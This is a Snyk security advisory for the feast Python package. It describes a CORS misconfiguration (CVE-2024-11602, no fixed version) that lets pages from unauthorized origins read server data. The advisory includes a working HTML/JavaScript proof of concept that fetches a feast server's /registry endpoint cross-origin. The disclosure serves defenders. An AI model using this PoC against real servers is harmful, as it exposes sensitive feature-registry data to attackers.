Origin Validation Error Affecting feast package, versions [0,]


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-FEAST-9510933
  • published23 Mar 2025
  • disclosed20 Mar 2025
  • creditM Nadeem Qazi

Introduced: 20 Mar 2025

NewCVE-2024-11602  (opens in a new tab)
CWE-346  (opens in a new tab)

How to fix?

There is no fixed version for feast.

Overview

feast is a Python SDK for Feast

Affected versions of this package are vulnerable to Origin Validation Error due to improper CORS configuration on the server. An attacker can bypass security controls and potentially access sensitive information by sending requests from unauthorized origins.

PoC

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CORS PoC</title>
</head>
<body>
    <h1>CORS Exploit PoC</h1>
    <button onclick="exploit()">Exploit</button>

    <script>
        function exploit() {
            var xhr = new XMLHttpRequest();
            xhr.open("GET", "http://172.25.83.162:8888/registry", true);
        
            xhr.onreadystatechange = function() {
                if (xhr.readyState === XMLHttpRequest.DONE) {
                    if (xhr.status === 200) {
                        // Alert the response from the vulnerable server
                        alert("Response from server: " + xhr.responseText);
                    } else {
                        alert("Request failed. Status: " + xhr.status);
                    }
                }
            };

            xhr.send();
        }
    </script>
</body>
</html>

References

CVSS Base Scores

version 4.0
version 3.1